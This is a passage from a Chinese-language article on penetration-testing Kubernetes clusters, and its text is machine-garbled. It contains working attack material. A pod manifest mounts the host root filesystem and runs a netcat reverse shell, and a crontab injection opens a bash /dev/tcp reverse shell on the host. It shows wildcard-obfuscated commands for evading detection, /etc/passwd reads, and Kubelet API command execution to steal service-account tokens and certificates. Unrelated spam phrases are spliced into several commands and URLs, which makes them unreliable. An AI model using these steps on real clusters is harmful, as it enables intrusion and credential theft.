  4. 对输出成果中的ip进行过滤,履行指令 cat ip_scan.txt |grep -E -o '(25[0-5]|2[0-4][0-9]|[01]?[0-9][0-9]?)\.(25[0-5]|2[0-4][0-9]|[01]?[0-9][0-9]?)\.(25[0-5]|2[0-4][0-9]|[01]?[0-9][0-9]?)\.(25[0-5]|2[0-4][0-9]|[01]?[0-9][0-9]?)'
  5. 编译好的nmap东西,对文本中的IP进行扫描会报错,因为缺失文件。编写简略的shell脚本调用curl对端口勘探,勘探端口为集群组件的默许端口,代码如下:
#!/bin/bash
for i in $(cat Al秦哲熙lHosts_up.txt)
do
for j in 8080 10250 10255 6643 2379 30000 2375
do
curl $i:$j &>/dev/null
if [ $? -eq 0 ]; then
echo "$i 敞开了 $j 端口"
echo "$i:$j" >> portScan.txt
else
echo "$i 未敞开 $j 端口"
fi
done
done

简略测验成果如下:

  1. 在对A类网段勘探进程中,发现有多个主机存在集群组件的默许端口。内网中敞开了K8S API服务,且能够未授权拜访。下载kubectl,对K8S API进行操作。拜访 [https://dl.k8s.io/v1.9.3/kubernetes-client-linux-amd64.tar.gz](https://dl.k8s.io/v1.9.3/kubernetes-client-linux-amd64.tar.gz) 下载文件至于服务器上,运用python敞开http服务供给下载。履行如下指令:
wget http://x.x.x.x/kubernetes-client-linux-amd64.tar.gz
tar -zxvf kubernetes-client-linux-amd64.tar.gz
cd kubernetes/client/bin
chmod +x ./kubectl
mv .红烧狮子头/kubectl /usr/local/bin/kubectl

运转 kubectl version,回来版别信息,阐明装置成功

  1. 通过kubectl创立pod并挂载根目录,履行反弹shell指令。yaml文件内容如下:
apiVersion: v1
kind: Pod
metadata:
name: test
spec:
containers:
- name: busybox
image: busybox:1.29.2
command: ["/bin/sh"]
args: ["-c", "nc ip port -e /bin/sh"]
volumeMounts:
- name: host
mountPath: /mnt
volumes:
- name: host
hostPath:
path: /
type: Directory

服务端敞开监听,履行指令 kubectl -s [http://10.0.xxx.xxx:8080/](http://10.0.xxx.xxx:8080/) create -f vul.yaml 。进入/mnt目录,能够看到获取了宿主机权限。但因为根目录坐落/mnt下,与当时环境变量抵触,部分东西无法运用。

  1. 向容器的 /mnt/etc/crontab 写入反弹 shell 的守时使命,因为创立容器时把宿主机的根目录挂载到了容器的/mnt 目录下,所以能够直接影响到宿主机的 crontab。
echo -e "* * * * * root bash -i >& /dev/tcp/ip/port 0>&1\n" >> /mnt/etc/crontab

在服务端敞开端口监听,等候一段时分后获取shell,shell的主机名为宿主机

4. 浸透剖析

4.1 内网穿透署理服务建立

浸透进程里,依据具体环境需求,能够建立内网穿透署理服务来进行后浸透阶段。

frp 是一个可用于内网穿透的高性能的反向署理运用,支撑 tcp, udp, http, https 协议。

下载地址:

https://github.com/fatedier/frp/releases

在公网服务器上修正 frps.ini 文件,默许端口7000,可更改绑定端口。通过./frps -c ./frps.ini 发动,在公网监听7000。

在内网主机上,增加装备如下:

[common]
server_addr = 公网IP
server_port = 7000
[plugin_http_proxy]
type = tcp
remote_port1g等于多少mb = 6004
plugin = http_proxy
plugin_http_user = abcd
plugin_http_passwd = abcd

通过 ./frpc -c ./frpc.ini发动客户端

在浏览器中,运用SwitchyOmega装备公网IP及署理端口6004,输入账号和暗码。运用署理完结对内网服务器主机的拜访,条件是不好客户端在同一出口IP下

4.2 内网指令履行绕过

因为指令特征显着,简单被具有强特征检测的设备发现。可选用通配符的办法进行绕过,在windows中的事例如下:

C:\>powershell C:\??*?\*3?\c?lc.?x? calc
C:\>powershell C:\*\*2\n??e*d.* notepad
C:\>powershell C:\*\*2\t?s*r.* taskmgr

linux 环境下指令履行,绕过办法如下:

/bin/cat /etc/passwd
/b'i'n/c'a't /e't'c/p'a's's'w'd'
/???/?at /???/????w?
/??'?'/?at /???/????w?

通过NetCat指令履行反弹shell

nc -e /bin/bash 127.0.0.1 1337
/???/?c.??????????? -e /???/b??h 2130706433 1337

更多指令的绕过办法可参阅如下文章[https://medium.com/secjuice/waf-evasion-techniques-718026d693d8](https://medium.com/secjuice/waf-evasion-techniques-718026d693d8)

4.3 集群认证的获取和运用

在勘探进程中发现未授权拜访拜访的Kublet API,通过 curl -s [https://k8-node:10250/runningpods/](https://k8-node:10250/runningpods/) 获取到pod信息。

4.3.1 通过env获取信息

接着依据这些信息,检查 env 并检查kublet令牌是否在环境变量中。取决于云供给商或保管服务供给商,不然咱们需求从以下方位检索它们:

  • 挂载目录
  • 云元数据网址

运用以下指令检查env:

curl -k -XPOST "https://k8-node:10250/run/kube-system/kube-dns-5b1234c4d5-4321/dnsmasq" -d "cmd=env"

检查回来内容中的KUBLET_CERT,KUBLET_KEY和CA_CERT环境变量

在获取到认证信息后,需求在 env 中找到kubernetes API server。并非敞开了10250端口的主机

KUBERNETES_PORT=tcp://x.x.x.x:443
or
KUBERNETES_MASTER_NAME: x.x.x.x:黄鹤楼烟443

下载kubectl后,运用获取到的密钥和证书对kubernetes API server进行拜访

kubectl --server=https://1.2.3.4 --certificate-authority=ca.crt --client-key=kublet.key --client-certificate=kublet.crt get pods --all-namespaces

4.3.2 通过mount获取信息

假如在环境变腹黑少爷卖萌控量中并未发现认证信息,再次检查是否存在挂载目录

curl -k -XPOST "[https://k8-node:10250/run/kube-system/kube-dns-5b1234c4d5-4321/dnsmasq](https://k8-node:10250/run/kube-system/kube-dns-5b1234c4d5-4321/dnsmasq)" -d "cmd=mount"

cgroup on /sys/fs/cgroup/devices type cgroup (ro,nosuid,nodev,noexec,relatime,devices)
mqueue on /dev/mqueue type mqueue (rw,nosuid,nodev,noexec,relatime)
/dev/sda1 on /dev/termination-log type ext4 (rw,relatime,commit=30,data=ordered)
/dev/sda1 on /etc/k8s/dns/dnsmasq-nanny type ext4 (rw,relatime,commit=30,data=ordered)
tmpfs on /var/run/secrets/kubernetes.io/serviceaccount type tmpfs (ro,relatime)
/dev/sda1 on /etc/resolv.conf type ext4 (rw,nosuid,nodev,relatime,commit=30,data=ordered)
/dev/sda1 on /etc/hostname type ext4 (rw,nosuid,nodev,relatime,commit=30,data=ordered)
/dev/sda1 on /etc/hosts type ext4 (rw,relatime,commit=30,data=ordered)
shm on /dev/shm type tmpfs (rw,nosuid,nodev,noexec,relatime,size=65536k)

如上赤色符号部分显现,能够看到serviceaccount的挂载目录,接着履行

curl -k -XPOST "https://k8-node:10250/run/kube-system/kube-dns-5b1234c4d5-4321/dnsmasq" -d "cmd=ls -la /var/run/secrets/kubernetes.io/serviceaccount"

取得输入如下:

total 4
drwxrwxrwt3 root root 140 Nov 9 16:27 .
drwxr-xr-x3 root root 4.0K Nov 9 16:27 ..
lrwxrwxrwx1 root root 13 Nov 9 16:27 ca.crt -> ..data/ca.crt
lrwxrwxrwx1 root root 16 Nov 9 16:27 namespace -> ..data/namespace
lrwxrwxrwx1 root root 12 Nov 9 16:27 token -> ..data/token

检查token:

curl -k -XPOST "https://k8-node:10250/run/kube-system/kube-dns-5b1234c4d5-4321/dnsmasq" -d "cmd=cat /var/run/secrets/kubernetes.io/serviceaccount/token"

成果如下:

eyJhbGciOiJSUzI1NiI---SNIP---

在装置好 kubectl 后,运用获取的证书 ca.crt 和 token,对kubernetes API server进行拜访

kubectl --server=https://1.2.3.4 --certificate-authority=ca.crt --token=eyJhbGciOiJSUzI1NiI---SNIP--- get pods --all-namespaces

依据回来的pods信息,指定pod获取履行shell的权限

kubectl exec -it metrics-server-v0.2.1-7f8ee58c8f-ab13f --namespace=kube-system--server=https://1.2.3.4 --certificate-authority=ca.crt --token=eyJhbGciOiJSUzI1NiI---SNIP--- /bin/sh

4.4 GKE的认证获取

GKE 和 AWS 之类的云渠道会在本地供给元数据服务供开发者取得自己私有库房的认证信息,如在 GKE 的机器上履行

curl http://metadata.go上海元玥集团ogle.internal/computeMetadata/新闻联播主持人v1beta1/instance/service-accounts/default/token

国外hackerone缝隙赏金渠道公开了一份关于Shopify的缝隙陈述,通过运用Shopify Exchange的屏幕截图功用中的服务器端恳求假造过错,获取对集群中恣意容器的root拜访权限。缝隙运用的要害进程如下:

拜访Google Cloud Metadata

  1. 创立商铺(partners.shopify.com)
  2. 修正模板password.liquid并增加以下内容:
 
  1. 转到[https://exchange.shopify.com/create-a-listing](https://exchange.shopify.com/create-a-listing) 并装置Exchange运用程序
  2. 等候商铺屏幕截图显现在“创立列表”页面上
  3. 下载PNG并运用图像修正软件翻开它或将其转换为JPEG

因为元数据躲藏未发动,形成 kube-env特点能够被调用。回来了Kubelet的证书及密钥,调用kubectl能够完结对pod的查询

$ kubectl --client-certificate client.crt --client-key client.pem --certificate-authority ca.crt --server https://██████ get pods --all-namespaces
NAMESPACE NAME READY STATUS RESTARTS AGE
██████████ ████████ 1/1

可是无法对指定pod进行操作,获取回来的shell。通过kubectl 对指定pod履行describe 和get secret找到token地点方位。运用token及证书完结对指定pod的指令履行

$ kubectl --certificate-authority ca.crt --server https://████ --t痣的方位oken "█████.██████.███" exec -it w█████████ -- /bin/bash
Defaulting container name to web.
Use 'kubectl describe pod/w█████████' to see all of the containers in this pod.
███████:/# id
uid=0(root) gid=0(root) groups=0(root)
█████:/# ls
app boot dev exec key lib64 mnt proc run srv start tmp var
bin build etc home lib media opt root sbin ssl sysusr
███████:/# exit

具体运用进程可参阅陈述 [https://hackerone.com/reports/341876](https://hackerone.com/reports/341876)

六、总结

在DevOps、微服务等云原生运用的开发进程中,kubernetes技能供给了极大的便当,通过近几年的开展,显现了强壮的优势。近年来,因为容器以及容器运用环境引发的安全危险与安全事情不断的被曝出,集群组件、容器镜像、露出的API、容器的阻隔等问题成为了容器运用时需求侧重考虑的问题。

评论(0)